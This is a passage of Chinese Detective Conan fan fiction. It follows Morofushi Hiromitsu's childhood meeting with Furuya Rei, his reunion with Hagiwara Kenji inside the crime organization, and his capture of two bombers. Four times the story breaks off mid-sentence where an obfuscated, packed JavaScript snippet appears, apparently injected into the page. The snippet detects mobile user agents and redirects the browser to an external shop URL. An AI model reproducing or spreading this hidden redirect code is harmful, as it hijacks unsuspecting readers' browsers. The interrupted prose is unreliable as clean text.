后来发生了很多事,他们互相试探着慢慢接触,才成为朋友。 所以zero一开始就知道他的失语症,根本不应该问出这样的问题。 诸伏景光想起自己还没有回应对方,慢半拍地抬起头,尝试着比划了几个手语。 降谷零看不懂。 金发深肤的男孩似乎有些后悔自己刚才的态度,他站在原地沉默了片刻,突然伸出了一只手:“你受伤了,附近有家诊所,我带你过去。” 坐在地上的蓝眼睛男孩呆呆地看着他,来不及反应,就被对方抓住了手腕的位置。 他被一道没办法拒绝的力量从地面拉了起来,往前踉跄了两下,只能茫然地看着背对着他只露出一个金色的后脑勺的男孩,双脚下意识地跟上了对方的脚步。 等回过神,他已经在一家干净的、并不算有多大的诊所之中了。 一位金色长发的女性看了眼被打开的大门,见到熟悉的男孩,脸上浮现出温柔的笑容:“零君?” 而在诸伏景光面前表现得格外强硬的男孩,此刻脸颊却有些泛红,眼神飘忽。 不过他并没有忘记自己是为什么过来的,降谷零往旁边偏了偏,露出身后有些无措的黑发男孩:“医生,他受伤了!” “哎呀……”金发女士看着面前脏兮兮的孩子,一眼就注意到了他膝盖上和手臂上的擦伤,眉头因担忧微微皱了起来。 不过在看到黑发男孩似乎察觉到她的情绪,下意识后退想逃离的反应,她又很快收敛了自己的表情。金发的女医生半蹲下来,伸出一只手,平视着这个陌生的男孩,语气柔和又透着并不明显的严肃:“伤口要好好处理才行。” 这样的大人是诸伏景光无法拒绝的,他更不愿意给被人添麻烦,只能抿着唇坐在了诊所小小的椅子上,让面前的女医生拿出消毒清洗的用品。 “要先清理干净才行,可能会有点痛。”陌生的女医生这样说。 就如她所说,原本已经麻木的伤口,在被棉签触碰的一瞬间,传来了一阵阵的刺痛。黑发蓝眼的男孩下意识瑟缩了一下,本能地想要躲开,但他看着面前认真为他处理伤口的医生,最终只是抿着唇、握紧拳头,安安静静坐在那里一动不动。 女医生的唇角似乎往上勾了勾,但是不等诸伏景光注意到,她就温和地开口:“你不是附近的孩子吧?我好像没有见过你。” “可能是不小心迷路到附近的吧。”一直礼貌的降谷零突然插嘴,很突兀地截断了这个对话。 不只是不知道应该如何回应的黑发男孩,连带着女医生都明显有点惊讶。她看了看金发的那个,又看了看面前低着头黑发的这个小脑袋,像是意识到什么,眼睛一弯。 她用医用胶带固定了纱布后,满意地点点头,“好了,这几天伤口不要碰水哦?” 黑发的男孩小幅度点了下头,做了一个有些生疏的手语。 女医生整理医疗箱的动作慢了一些,她笑着回应:“不用谢。” 在旁边一直关注的降谷零却是惊讶道:“医生,你看得懂他在说什么?” “是啊。”医生的脸上没有浮现出什么遗憾或者可怜,只是用一种理所当然的、像是在说今天天气真好一样的平常语气说道:“真是个有礼貌的孩子。” 原本有些拘谨的黑发男孩眨了眨眼睛,他悄悄抬头,小心翼翼地瞄了眼正在和降谷零说话的女医生,又在对方注意到之前立刻收回视线。 他坐在小板凳上,安静地看着自己贴了一层纱布的膝盖,一直到视野前的地面上多出了一双红色的跑鞋。 目光缓缓上移,是那个金发的同龄人,而他的手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900447|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了一个空白的笔记本和一支笔。 “你之前是不是想和我说什么?”这个深肤色的陌生男孩把纸和笔递了过来:“这是我问医生借的。” 他想了想,把本子接过来放在腿上,拿着铅笔在上面写下了字体圆润的一行日语,然后把本子翻转过来,举给对方看。 “……谢谢?”金发男孩下意识重复了一下上面的文字,顿了下,立刻回答道:“不用谢。” “……” “……” 对话接不下去了。 金发深肤的男孩看起来有点紧张、又有点焦虑,可是他很难逼迫一个没办法说话的人主动开启话题。 最后他有点破罐子破摔了,开口道:“你不是附近的人吧?我记得我没见过你。你家在哪?还记得回去的路吗。” 黑发的男孩拿着笔的手僵停了一段时间,才重新在本子上写下一行字。 【这里是……?】 金发男孩立刻报了一个地址,大概是街道的名字,但是对上黑发男孩茫然的眼神,他沉默了片刻,又放大了几个范围,最后说道:“这里是东京!” 金发男孩敏锐地从面前这个同龄人的反应之中意识到了什么,错愕地开口道:“你不知道这里是东京?你到底是怎么迷路到这里来的?” 看着黑发男孩低垂下脑袋看起来完全不知道怎么回答的样子,他啧了一声,说了句“你等我一下”,就从房间跑开,把医生又拉了回来。 医生看起来已经知道了问题所在,她认真地询问了一下面前的黑发男孩有没有可以联系的家人,并且得到了确认的答案后,把诊所的座机借给了他。 在她的鼓励下,黑发的男孩踮着脚播下了熟悉的号码,电话很快被接通,对面是熟悉的哥哥的声音。 不知道是不是他的错觉,哥哥的声音带着难以忽视的疲惫和紧张,却依旧保持着应有的礼节。 【你好,这里是诸伏家,请问你是?】 “……” 【你好?】对面哥哥的声音带起了一点疑惑,就在医生打算从他的手里接过电话的时候,哥哥的语气变了。 【……景光?】他说。 诸伏景光下意识挂断了电话。 他睁开了眼睛。 …… 刺眼的阳光落在诸伏景光的眼前,他从床上慢慢坐起来,刚睡醒的青年眼中并没有丝毫迷蒙。 他扫了眼房间,那只黑猫已经消失了。 在诸伏景光把房间整理好之后,在吃早饭的过程中,赤井秀一过来找他了,开口第一句话就是:“我们要在一周内返回东京,有任务。” “我知道了。” 在回东京的路上,诸伏景光不免回忆起昨天晚上做的那个奇怪的梦。 假设这个和他的记忆有出入的梦是真的。 他猜错了?如果小时候就认识的话,难道他的那个“朋友”,真的是…… 飞机抵达东京后,诸伏景光也依旧被这个问题困扰。 直到一只手轻轻搭在了他的肩膀上——诸伏景光的身体本能没有一点防备和警惕,仿佛天然信任着这个人。 诸伏景光回过头,对上一双下垂的紫色眼睛。 那个下垂眼的青年笑着贴近他,用熟悉的嗓音和惯常拖长的语调,亲昵地对他扬起笑容,弯起那双甜蜜的紫色眼睛。 “呀,hiro酱,好久不见~” 15.第 15 章 突然出现的男人有一头搭在后颈的半长头发,黑色的刘海侧在一边,显露出一双多情忧郁的紫色眼眸。 他的个子很高,甚至比赤井秀一还要高一点。 诸伏景光瞥了眼对方搭在自己肩膀上的手臂,礼貌地开口道:“抱歉,我不太习惯别人距离我这么近。” 说完,他动作轻巧地避开了对方的靠近,带着微笑站在了另一侧,稍稍拉开了一点距离。 “别这么冷淡嘛,小景。”半长发的青年用一种略显含混、显得撒娇一般的口吻说着。最后那两个音节的名字,被念得像是在喊什么上幼儿园的小女生一样,他有些抱怨地说道:“我们都这么久没见了。” 诸伏景光只是保持着脸上平和的笑容,并不为他的话语产生情绪波动。 赤井秀一在他们的一轮对话结束后,才看向诸伏景光,冷静开口道:“不介绍一下?” “嗨嗨——三木贤治,是小景的好朋友哦。”半长发的男人却不等诸伏景光介绍,就欢快地主动摆了下手。这种过于活泼的、像是高中生一样的动作,他做起来却没有任何违和感。 诸伏景光则是接着说道:“有过几面之缘。” “嚯哦?”听到他这么说,赤井秀一发出了一声没什么意义的语气词。 “真过分啊,我们之间的感情就这么被你用一句话抹杀了吗?”自称三木贤治的男人这么说着,看起来却不是很在意这一点,甚至稍稍侧头笑了一下。 略长的黑色刘海自然垂落在他的额前,浅浅的阴影随着他的动作晃动了下,遮掩住那双犹如玻璃珠一样漂亮的紫色眼眸。 “不过不可以哦。”半长发的青年手指抵在脸侧,慢吞吞说道:“因为你们这次的任务是由我来主导的呢,关系太冷淡的话,接下去一定没办法好好配合的。” “你说对吗,小诸星。”他对着从头到尾都没有自我介绍过的赤井秀一说道。 戴着针织帽的长发青年平静的语气一如既往,没有受到任何影响,他回答道:“我只负责完成任务。” 但是诸伏景光能看出莱伊提高了警惕,他过去和莱伊的搭档时间可不是虚假的。某种意义上,诸伏景光是目前组织之中最了解赤井秀一的人了。 是故意的吧。他瞥了眼那个笑眯眯的半长发青年。 …… “没有哦。”坐在驾驶位的那位拖长了尾音,对着和赤井秀一分开、单独一个人上了他的副驾驶的诸伏景光说道:“我才没有那么恶趣味吧?” “看来是故意的了。”诸伏景光把车门关上,给自己系好安全带,语调没什么起伏。 “比起这个,说我们只见过几次面,就算是我也会有点伤心哦?hiro酱。”他抱怨道。 “抱歉?” “……好敷衍!”半长发的青年嘀咕了一句之后,若有所思地开口:“不过比起这个,你是发现了什么吗?” “那位诸星先生,最近在组织可是非常出名呢。” “诸星君的能力的确很优秀。”诸伏景光根据过去的经验评价道:“大概很快就会获得代号了。” 原本显得轻浮的半长发青年一下认真了起来:“竟然可以得到你这么高的评论?看来流言也是有可以相信的部分啊。” “流言?”诸伏景光重复了一下这个单词。 他知道组织内部总是会有一些乱七丨八糟的流言和传闻,他过去做卧底的时候,是连这些流言都不会放过的类型。 当然,信不信是一回事,能不能从中得到什么情报是一回事,但是知不知情就是另一回事了。 苏格兰在组织——他是说,过去的苏格兰,不是这个卧底又反卧底的苏格兰——的人设向来安静又稳妥,很少主动插入这些对话,但是并不妨碍这些对话自然地流入他的耳朵。 很多人会下意识对情报人员产生警惕,却不会对同为行动组的狙丨击手产生情报上的防备。 偶尔的抱怨,无意识的脱口而出,一起与死亡擦肩后的放松警惕。 所以有时候,他知道的东西比波本还要……有趣。 现在从面前这个人口中听到这个词语,他第一时间想到的,却不是组织内部的那些乱七丨八糟的关系和猜想。 他脑海之中浮现出的第一个画面,是坐在居酒屋之中,几个拿着啤酒的同龄人互相说着什么。而其中的那个身材高挑的半长发青年脸上带着浅浅的红晕,愉快地告诉着他们隔壁班的某个女生和他们班的一位同学在一起了。 卷发的那个漫不经心地随意搭几句话,于是话题就莫名其妙转移了,变成隔壁另一个女生的机械表看起来很有趣的样子,问能不能借用一下。 于是班长哈哈笑了起来,zero小声凑过来和他说这个小菜很好吃。 有时候不只是他们,还会带上其他联谊的女同学和男同学,大家的话题总是围绕着这些。 回忆起这些画面,诸伏景光也并未走神,他依旧认真地听着耳侧的那个人说出口的话语。 “因为他这段时间的任务完成度很高,再加上——你不觉得他和琴酒酱很像吗?” Gin酱……听到这个称呼,诸伏景光诡异地停顿了一下,才开口:“如果你是说头发的话。” “啊——说到头发,他们两个到底是怎么打理的?”头发没那么长、但的确比一般男性长上一些、还总喜欢打理外形的青年抱怨道:“我之前有特地问过琴酒,结果他直接用枪口对准我诶!你说他是不是超级过分?” “脾气真好啊,琴酒。”诸伏景光感叹。 “你到底是站在哪边的啊?”半长发青年含糊地嘀咕了几句。 因为一直开车的关系,他的目光基本上都是直视前方,开车的速度也没极限漂移,只是比普通车的速度稍快一点。 “你说我问小诸星的话,他会不会回答我?” “也许。” “不过涉及到琴酒的话……”诸伏景光回忆起过去的经验,思考道:“是说他会成为第二个琴酒吗?” “差不多吧。”开车的司机先生这样回答道:“刚好都擅长狙丨击,又都是长头发绿眼睛。最重要的是——长得都很帅气哦!” 诸伏景光无奈地笑了笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903679|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“但是你有别的看法吧?我听说这段时间都是你和他一起在做任务。”他问。 坐在副驾驶的青年看向窗外,在短暂的沉默后开口道:“我在思考他有没有可能是日本公安。” “……” “…………” 他话音落下的一瞬间,车内的空气突然停滞住了。 当日本公安这个单词吐露出来时,两个人都没有立刻开口说些什么。 诸伏景光垂着眼,回忆着在下飞机后,对方出现后所说的每一句话和每一个反应。 诸伏景光不能完全确定他们之间的关系,但他很清楚,这个总是笑着的半长发青年,本质到底有多么敏锐。 细微的情绪变化、说话的习惯和口吻的变化,都有可能引起他的怀疑。 这是和面对组织之中的松田阵平、伊达航完全不同的情况。 松田阵平不在乎外物,和苏格兰的关系不坏,能称得上是友好的范围。但也仅仅如此。 这种程度的关系并不支持松田阵平主动对他试探什么,最多就会和之前一样,露出“你又在演什么”的迷惑表情。 伊达航、泰斯卡则是更有距离感,他从一开始就把距离保持在了一起做任务的同事的范围,最多加上一个定语——关系还不错的同事。 他们两个都没有主动询问苏格兰具体的经历,所有的违和和疑惑在确定他是本人之后,都可以丢到他消失的那两年时间里。 ……但是另外两个人不一样。 如果只是普通朋友关系的话,那或许没什么,反正没有人能证明他不是诸伏景光,怎么试探他都可以挑回去。 可……当那只手搭在他的肩膀上,而他的身体本能没有任何防备的时候,诸伏景光就知道问题大了。 他们的关系比自己预想得更亲近。 在这个危险的组织之中。 所以他先表现出绝对不可能的陌生和冷淡,让对方因为他的反常,先对另一个在场的莱伊、赤井秀一产生警惕。 于是话题就这么被掌控在了他的手中。在这个过程中,他可以试探出自己想要的信息。 他唯一的优势就是,没有人能否认他就是“诸伏景光”,是组织的……苏格兰。 莱伊不可能是日本公安,这里唯一的“日本公安”,只有他。 诸伏景光侧过头看向驾驶位的方向,对着正在开车的那个人。 “所以,有调查到什么你想要的吗。” 那双上挑的蓝色眼眸看不出什么具体的情绪,他顿了顿,平静地喊出另一个人的名字:“研二。” ——萩原研二此刻的反应证明,他的确在这段时间背着他调查了公安。 调查了……苏格兰前往卧底的官方机构。 萩原研二突然笑了起来。 “果然瞒不过你啊,是谁对你通风报信了吗?” 半长发的青年没怎么在乎交通规则,左手随意地搭在方向盘上,侧过头,用着柔软、轻快的语调说道:“毕竟你一直没有联系我,让我……非常、非常担心呢。” “——苏格兰。” 16.第 16 章 方向对了。 黑发蓝眼的青年坐在副驾驶的位置,那双上挑的蓝色眼眸叫人看不清深浅。掌握着他人生命的狙丨击手,此刻正慢条斯理地回应着对方的试探:“关于这件事,你不应该比我更清楚吗。” 就算到目前为止,诸伏景光也无法完全确定他和萩原研二的关系。 但是他知道一件事。 那就是不论这个世界的自己到底是什么身份、有过怎么样的经历。 ——他依旧是“诸伏景光”。 “诸伏景光”所认定的朋友,这份友谊必然是双向的。 正因为如此,如果萩原研二是他重要的朋友的话,诸伏景光会包容,但绝不会一贯的接受。 既然会选择避开他去调查,就证明……这件事一定是他不会认可的。 如果萩原研二的反应不是他推测的那样,就只能表示,萩原研二并非他所认可的朋友。那么他的态度就更没有问题了。 只是表面朋友而已,你还想要我多少真心? 所以,黑发蓝眼的青年似是失望、又像是满不在乎一般地垂下视线,不再将那抹蓝色倒影在那双下垂的紫色眼眸之中。 “我们的确很久没见了。”他的语气开始变得疏离起来:“下一个路口停车吧。” 他好像真的把开车的那位代号成员当成了普通的司机,随意地提出了自己的命令。 原本还松松放在方向盘的那只手突然握紧了,半长发的青年并未收回视线。只是盯着那已经偏移开的侧脸,从他的角度甚至可以看到脸侧被光影勾勒出的细小绒毛。 “景。”半长发的青年喊出的称呼依旧是那个音节的名字,却不再有后续的口癖昵称,他的声线不再和刚才表现得那般轻浮,显得低沉了许多:“你生气了?” ——情势瞬间逆转。 “没有。”诸伏景光的语调没什么变化,他淡淡地回答道:“我怎么会因为这种小事和你生气。” 车内的气氛变得更加怪异了,反常的沉默充斥着这整个空间。 诸伏景光所说的路口已经到了,恰好的红灯让这辆车停了下来。 黑发蓝眼的青年自然地伸手想要打开车门,他的动作顿住。 车门被锁住了。 “开门。” 诸伏景光没再尝试,平静的声音再一次响起。 “不可以哦。”萩原研二等待着红灯的倒计时结束,再次踩下了油门,他目视前方:“虽然这件事我的确没有考虑你的心情,但是我也有点生气了。” “一声不吭地跑去卧底这件事就算了。但回来了这么久,我不仅不是第一个知道,甚至还是从别人的口中得到的消息。” 他握住方向盘的动作越来越紧,语气却越发冷淡平静:“我可不记得我和某人一样,更换了全部的联系方式。” 关系比我猜想得更好啊。 诸伏景光对上那张少见冷下表情的脸,反而勾起了唇。 “这就是你调查我的原因?” 萩原研二没有回答。 “这次任务也是你主动接的,对吗。” 萩原研二保持沉默。 “抱歉。”诸伏景光忽地转换了语气,诚恳地说道:“我以为是你不想联系我。” 萩原研二明显僵了一下,终于憋不住了,他错愕地看过去,却对上了好友不太好意思移开的目光。 脸侧新长出的胡茬并不影响对方那张依旧帅气的面孔,只是减少了原本的清秀干净,多了一份特殊的成熟韵味。 此刻他所显露出的神色,更是把年龄和气质拉回了过去。 诸伏景光心虚地小声说道:“我以为你知道……” 萩原研二:“……” 萩原研二:“…………” 萩原研二深吸了一口气,咬牙切齿地念出了对方的大名。 “诸伏景光。” “我在?” “在你眼中,我就是那种什么信息都不会放过的独丨裁控制狂吗?” “……额。”诸伏景光眨眨眼睛:“不是?” 萩原研二看起来更生气了:“虽然我的确喜欢做这些,也会做这些。把情报掌握在手里会让我觉得更有安全感——但是我也不至于在明明知道你有特殊任务的情况下,还时刻盯着你吧?” “更别说如果有人盯着你,你难道感觉不到吗?” 诸伏景光眼神漂移了一下。 萩原研二从他的反应之中意识到了答案,瞬间阴沉了脸:“谁。” “已经过去了。”诸伏景光温和地笑了笑,不想多谈。 虽然已经不在意了,但是他的确不太喜欢“跟踪”的相关话题。也不是谁都能有他这样的经验——对付一个从7岁起开始跟着他一直到22岁的跟踪狂的经验。 萩原研二显然无愧于他洞察力满级的名号,察觉到了诸伏景光的情绪,就不再继续这个话题。 反正,他总能查到的。 萩原研二开口:“所以现在……我们打平?” “嗯。”诸伏景光的语调也恢复了平日里的温和,“所以下一个路口把我放下吧。” 半长发的青年语调一下就拖长了,他用着那熟练的撒娇口吻说道:“不是已经说好不生气了吗?小景。” “那你想把我送到哪里呢。”诸伏景光看着面前这个毫不心虚的情报大师,温温柔柔地开口:“我最新的安全屋?” 萩原研二理直气壮道:“这不是刚好顺路吗。” 他一点也不为自己调查了对方这件事感到愧疚或者抱歉。 反正已经说好打平了,亲爱的hiro酱可不是说一套做一套的人。 他同意了就代表这件事已经结束了,这件事留下的影响显然也包括在里面。 完全看出来了萩原研二的态度,诸伏景光反而有点无奈了。 他其实不怎么擅长和萩原研二这种性格的人相处……或许也不能这么说。 作为普通的朋友,诸伏景光可以让任何人对他留下一个不错的印象。就像是这一届的警校,几乎没有一个同期对诸伏景光产生过负面的情绪。 但,也仅限于此了。 如果不是恰好zero和松田关系变好,而松田又选择主动插手了他的过去,诸伏景光绝不会和另外几个人深交到那种程度。 而在几个好友之中,萩原研二则是最特殊的那个。不同于班长的爽朗,也不同于松田的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907789|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直率,萩原洞察力极高,他才是那个真正的社交大师。 不需要诸伏景光主动表达说明什么,萩原研二自己就会掌控好节奏和态度,绝不会让诸伏景光这种距离感极强的人感觉到任何不适。 但也正因为如此,他们之间反而保持着一定的默契,都从未主动拉近过和对方的关系。 不是说他们关系不好,只是他们都更习惯保持现状,而非打破。 而萩原研二的早逝,更是让他们之间的关系停留在了那一刻,再也没有机会更加深入。 同样的,萩原研二会根据他人的态度转变自己的相处方式,却唯独有一个例外。 ——和萩原研二一同长大的朋友,松田阵平。 就像是他和zero一样,幼驯染从来都是不同的。他们认识的太早,在年幼的孩子还未固定自己的信念和三观前,他们就已经互相影响、互相改变了。 zero从来都不是束手束脚的人,若非在乎他的心情,绝不会担忧着犹豫着,却从未主动提过一次关于他父母的事情。 萩原研二和松田阵平同样如此,他们结识的时间太久,认识的时候太小。于是松田阵平习惯于对方亲密的动作,那没有距离感的贴近,以及过于可爱亲昵的称呼。 而这一切本来都应该是松田阵平会拒绝的。 诸伏景光从未想过,萩原研二会用类似对待松田阵平的态度对待自己。 他真的没有太多这方面的经验。 因为他和zero不是这种相处模式。 “所以你打算什么时候拿回代号?”萩原研二相当自然地问道:“需要我帮忙吗。” “顺其自然吧,按照现在的进度,也就是今年的事情了。”诸伏景光不太在意地回答道。 他顿了顿,“你打算做什么?” “嗯?”萩原研二没什么戒心,因为原本的问题已经解决,他甚至称得上愉快地说道:“虽然认识苏格兰的人不算多,但是这个代号还是有不少人知道的。” “你的身份现在不是还需要隐藏吗,你总不想换个代号吧?那么前·苏格兰自然要处理了。”半长发的青年欢快地说道:“你喜欢什么死法?嗯——下克上所以得到了前任的代号,听起来还挺有趣的。” 我杀我自己吗。诸伏景光忍耐住自己下意识想抬起触碰脖子的手。 某种意义上,他的确已经杀死了前任苏格兰,并且占据了对方的身份和代号。 “不了,我会自己处理的。”诸伏景光回答道。 在他们的交流之中,诸伏景光的安全屋已经到了,萩原研二终于舍得把车门的锁打开,他对着下车的好友摆摆手机,愉快地说道:“保持联系。” “再见。”诸伏景光眼睛弯了一下,转身离开。 坐在驾驶位的半长发青年单手支着车窗的位置,手指轻轻点在脸侧,他看着那道缓缓远离的背影,原本上勾的唇角不知何时重新拉平。 “唔……”他的喉间发出没什么意义的语气词,喃喃自语道:“是错觉吗。” 那双下垂着的紫色眼眸之中悄无声息地浮现出审视的意味,他看着已经完全消失的身影。 “感觉变了一个人呢,小景。” 17.第 17 章 诸伏景光在下车打开安全屋的房门后,做的第一件事就是检查房间里有多出一些不太应该出现的东西。 虽然被安装监控监听的可能性不大,但是该做的还是要做的。 等检查完毕之后,诸伏景光才稍稍松懈一切,坐在沙发上。 “……” “…………” 手机振动了一声,诸伏景光看了眼,是一个陌生的号码发的简讯,只有一个可爱的微笑表情。 发件人是谁,显而易见。 过去在警校的时候,他就有注意到这一点。萩原研二和松田阵平这两个人,如果不在同一个空间之中,都会无意识地主动跟对方保持联络。 只是因为他们大多数时候都在一起,基本用不着手机,所以这一点很难被发觉。 诸伏景光会发现这一点,也纯粹是他们两个交流的频率太高,所以只要偶然碰见两次,就会关注到这个动作。 ‘哦!这个小阵平会喜欢吧?’ ‘我去喊小阵平。’ ‘哈哈太糗了,我要发给小阵平。’ 伴随着这样的话语,往往都是萩原研二拿着手机在上面快速敲击的动作。 松田阵平则更多的是收消息的那个,他比起发消息,更喜欢直接一点的打电话。 所以他会在收到消息的时候,拿出手机看一眼,然后自然而然地回头,询问恰好就在旁边的他:‘萩说晚上有个聚餐,要不要一起。’ 得到了回答,松田阵平就会立刻回拨电话,然后直白地告知对面:‘行啊,回来的时候顺便去趟便利店,我有要买的东西。’ 在挂断电话后,看着对面发过来的地址,再漫不经心地秒回一个收到。 松田阵平肯定不是习惯主动的那个。诸伏景光回忆着好友的个性——能被沾染上这种习惯,其中肯定是萩原的功劳。 他和zero就不会这样。 于是诸伏景光面无表情地回了一个笑脸。 但在消息发送之后,坐在沙发上的青年动作明显停顿了一下。 他后知后觉。 现在正在给他发简讯的人是谁。 虽然很糟糕、一切都糟糕透顶——诸伏景光半躺在沙发上,用手臂遮挡住眼前的光线。黑发蓝眼的青年闭上眼睛,长长呼出一口气。 诸伏景光不会错认自己的友人和敌人,愤怒和悲伤在他心底从未消散。可此刻,他依旧不受控的为能再次看到那张脸、听到那个声音,而感到……无法控制的怀念。 他是从什么时候开始,不再在心中强调“这个世界是虚假的”的可能? 诸伏景光的视线漫无目的地落在天花板,显得有些空落落的。 警校毕业那一年的11月7日。 在那一天牺牲的排爆警察并不只有萩原研二一个人,而是由萩原研二带领的一整个小队。哪怕全新的警校之中并不存在一个名为“萩原研二”的警察,但诸伏景光依旧做不到冷眼旁观。 所以他请了假,提前来到了吉冈三丁目附近,另一个位置他则是在角落隐蔽的位置放了录像。 这个案件当时上了电视,哪怕没有特地关注的人,不需要调查也可以了解大致情况。 身体年龄只有22岁的诸伏景光不确定这个世界的真实,也无法确保这个世界是否依旧存在会为了金钱而安置炸丨弹、仇恨警察的罪犯。 他不知道那两个炸丨弹犯是否还会选择同样的位置。 他不清楚、不确定、不知道,甚至这一切都大概率是无用功。 …… 警校毕业的11月6日晚上。 ——诸伏景光出现在了浅井别墅区。 口罩包裹着他口中呼出的温热呼吸,兜帽落下的阴影完全遮挡了他此刻的神色。 狙丨击手从不缺乏耐心,他保持着近乎无声的、平缓的呼吸,等待着接下去的宣判。 时间一秒秒流逝,诸伏景光的情绪愈发平静。 然后,在凌晨3点24分,他等到了结果。 两道鬼祟的身影出现在了拐角处,他们左右观察着,厚实的外套遮掩了身形,而棒球帽阻挡了其他人对他们面孔的窥视。 诸伏景光站在阴影处,平静地听着他们的对话,听他们小声确定安装的位置,听着那贪婪的恶意和对犯罪的兴奋恐惧。 其中一个犹如老鼠一般胆怯小心,却在将炸弹固定的过程中,发出无意识让人不适的窃笑。 原来是这样的人啊。 兜帽阴影遮蔽下的蓝色眼眸垂下,他的神情无悲无喜,只余下漠然的冰冷。 如果这是他的噩梦,如果这是他的幻想。 他绝不可能允许友人是死于这样胆怯弱小、懦弱畏缩的炸丨弹犯手中。 就是这样的人,害得他那意气风发的两个好友牺牲? 最可笑的幻梦也不过如此。 拳头重重砸在了炸丨弹犯遮挡住的脸上,苏格兰冷静地在第一时间阻绝了他们求救的可能,枪口在拳头之后,抵在了其中一人的额前。 纯粹的杀意和冰冷的目光让那个被威胁的炸丨弹犯双丨腿发软,站都站不住。冷汗滑落他的额前,恐惧的瞳孔发颤到无法倒映出面前之人的外表。 只是一个照面,两个炸丨弹犯就明白自己绝不会活过今天。 在这样的情况下,他们却连求饶都无法说出口,只能颤抖着、恐惧地看着面前的杀人犯。他的喉间溢出干涸嘶哑的喘息,甚至不敢大声,生怕一点点的偏移,就会让手枪中的子丨弹射入他们的大脑。 不同于他们可笑的“过家家”,沾染无数血腥的刽子手,手中从不会缺少生命。 可正是这样过家家的恶意,却害得有着灿烂未来的警察死亡。本该代表着正义的警察,却又被迫让阴影缠绕自身。 苏格兰手里的生命从不缺少两个罪犯,他枪口的子丨弹从不会迟疑。 这只是两个没有任何存在价值的罪犯而已。 “……” 诸伏景光放下了手枪。他将两个直接晕厥的炸丨弹犯用绳索绑好,再用不记名的电话号码,拨打了报警电话。 一直到警察到达,黑发蓝眼的青年往下压了压兜帽,就如同他到来一般,像是幽灵般无声离开。 …… “这次的任务很简单。” 萩原研二熟悉的声音再一次响起,诸伏景光安静地看着主导着话题的那个人。 “并不需要杀人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912791|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不用做什么威胁——只要参加一个宴会,配合我拿到情报就好了。”半长发的青年用一种打量的目光上下扫视着他们,下垂的眼眸透着几分思索。 “所以,这样的打扮是绝对不过关的哦。” 诸伏景光低头看了看自己身上的衣服。不同于花里胡哨的情报组,行动组的成员大多都是实用主义。 他身上的灰蓝色兜帽外套实用方便又日常,没有一点特殊的标记,帽子一戴,就可以悄无声息融入人群之中。 至于莱伊……说实话,诸伏景光一直很好奇他和琴酒留那么长的头发,真的不会觉得麻烦吗? 诸伏景光瞥了眼身侧的搭档,却注意到萩原研二的目光一直留在他身上。 半长发的青年用一种甜蜜的抱怨口吻说道:“小诸星就算了,会留这么长头发的人肯定也会保养自己的。” “但是——”他歪了下头,明明是相当刻意的动作,萩原研二做起来却相当自然随意,有种理所当然的感觉,他又喊了那个假名和真名重合的昵称,“我上次见你,你好像也穿着这一身吧?小景。” 诸伏景光不痛不痒地回答道:“我有两套一样的。” “我就知道……!”萩原研二用一种不敢置信地夸张语气说道:“你肯定是那种有这一衣柜一模一样的白衬衫的类型!” “白衬衫比较容易弄脏,我个人不太推荐。”诸伏景光微笑回答。 “其实这个时候吐槽会更好哦?”萩原研二欲言又止,他有些头疼地揉了揉太阳穴,“明明都是这么帅气的脸,为什么不珍惜一下呢?” 赤井秀一开口,回了一句:“辨识度太高,不利于撤离。” 然后他就收获了两双色调、弧度完全不同的眼睛的凝视。 赤井秀一:? 萩原研二幽幽说道:“在说这句话之前,你要不先看看镜子里的自己。小诸星?” 诸伏景光勾了勾唇。 “总之,我的造型师借给你们,记得打扮得亮眼一点。”萩原研二双手合十,愉快地放弃了交流,并且做下了决定。 行动组和情报组的行动方式并不相同,但是在收集情报的任务之中,以情报组成员的计划为主是相当合理的。 ……大概吧。 诸伏景光靠在墙边,安静地等待着赤井秀一的结束。 男性参加宴会的打扮会比女士要简单一些,挑选好合适的西服,稍微整理下头发,基本就可以了。 莱伊比他慢一点,主要是那一头长发会稍微花费时间。 “绿川。”把平日里披散的头发聚在一起扎了个低马尾的赤井秀一开口喊了一声。 